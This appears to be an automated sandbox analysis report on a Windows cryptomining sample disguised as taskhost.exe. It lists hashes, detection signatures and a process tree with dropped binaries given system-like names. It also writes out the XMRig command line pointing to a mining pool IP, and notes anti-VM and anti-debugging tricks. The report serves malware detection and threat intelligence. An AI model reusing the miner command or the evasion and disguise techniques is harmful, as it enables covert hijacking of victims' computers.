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Analysis
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max time kernel
154s -
max time network
158s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
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submitted
21/05/2024, 11:24
General
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Target
taskhost.exe
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Size
19.8MB
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MD5
74595855031cc4eb18b48346f876cd2e
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SHA1
24bf72be8f93f2da8defe6c47004ecde786458ef
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SHA256
2ea5e2feaf74e9ea6d7760ae2a20742a8861157607584e566e32b1ba329d378a
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SHA512
33227d3e36a95fd4b9fcee533997bab9080a735c52417a10114a01d81c15eebcccca1cb99c6cfaf70691fc5149a41f8cffd4ee5fd54e0a593aaeb1ca6438b240
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SSDEEP
393216:xao4ZbKh+7uRQSn44pfrovhexQ0s0kl1X5+twDyClkzmv7PXVTpa:xaoAW+qpf6hKQJ+tcH6zmv7Xa
Malware Config
Signatures
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Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
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XMRig Miner payload 2 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
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Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
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Executes dropped EXE 3 IoCs
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Themida packer 44 IoCs
Detects Themida, an advanced Windows software protection system.
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Checks whether UAC is enabled 1 TTPs 2 IoCs
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AutoIT Executable 39 IoCs
AutoIT scripts compiled to PE executables.
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
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NTFS ADS 2 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of FindShellTrayWindow 1 IoCs
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Suspicious use of WriteProcessMemory 15 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\taskhost.exe"C:\Users\Admin\AppData\Local\Temp\taskhost.exe"1⤵
- Modifies visiblity of hidden/system files in Explorer
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /flushdns2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\ipconfig.exeipconfig /flushdns3⤵
- Gathers network information
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\gpupdate.exegpupdate /force3⤵
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C:\ProgramData\Setup\Packs.exeC:\ProgramData\Setup\Packs.exe -ppidar2⤵
- Executes dropped EXE
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C:\ProgramData\WindowsTask\audiodg.exeC:\ProgramData\WindowsTask\audiodg.exe2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
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C:\ProgramData\WindowsTask\MicrosoftHost.exeC:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u RandomX_CPU --donate-level=1 -k --cpu-priority=0 -t42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4240 --field-trial-handle=2692,i,8678872182442199182,12502579059484928042,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
5.2MB
MD51ee4321c311d7e58208c61630fa3f278
SHA167ef36cf785ec0d4602eb35a98c23420beba2e2a
SHA256463ce847b6f7b32d1f4f49dfaaa2ce4a1061b6dfca1fb6a1bf39f7f40117266d
SHA512f0bbf219926d7316bce936e4c362f2b5195420b7ee14538dd61d8a362921351cdde80705fcff8249773284a10067149f5a60291fa965aaaaca65fc535a5a8ffd
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Filesize
14KB
MD50c0195c48b6b8582fa6f6373032118da
SHA1d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA25611bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
SHA512ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
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Filesize
5.7MB
MD55bda5e3354916c14aeef5e9c1589ea99
SHA1a9bf3059461f569a290fbbfe0e59d9629f5749ec
SHA2567fa2c88d0732f4f432320d0b8cdc8a024b5efcae99da74dcd06dc91089ffd101
SHA5125a9b55bf1124002e67468f133f47008426f19f1acb7de76eb001fc94ff4e9170142fa8b394bc8cee8d805a8484724135ef0251f029bd1304954b0aa2a2f8a987
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Filesize
7.8MB
MD52c478377002d8f8c188252f338e10d17
SHA171c3b3154ae57c9e692c32653ab8859c23680b30
SHA256bda32a05036ce8fabd53f41509c114c5bf2c9d8343fb7725b6b21903ca44a89c
SHA512fd183050382e834dadec658d0f9673607049a605c5c7dafe997d74b3921dafca0b677b8cfba9733cfd1d9c80581133281778f6be46f7080c5d743ea2c6f99dde
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Filesize
128KB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
8KB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
28.7MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB
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Filesize
14.8MB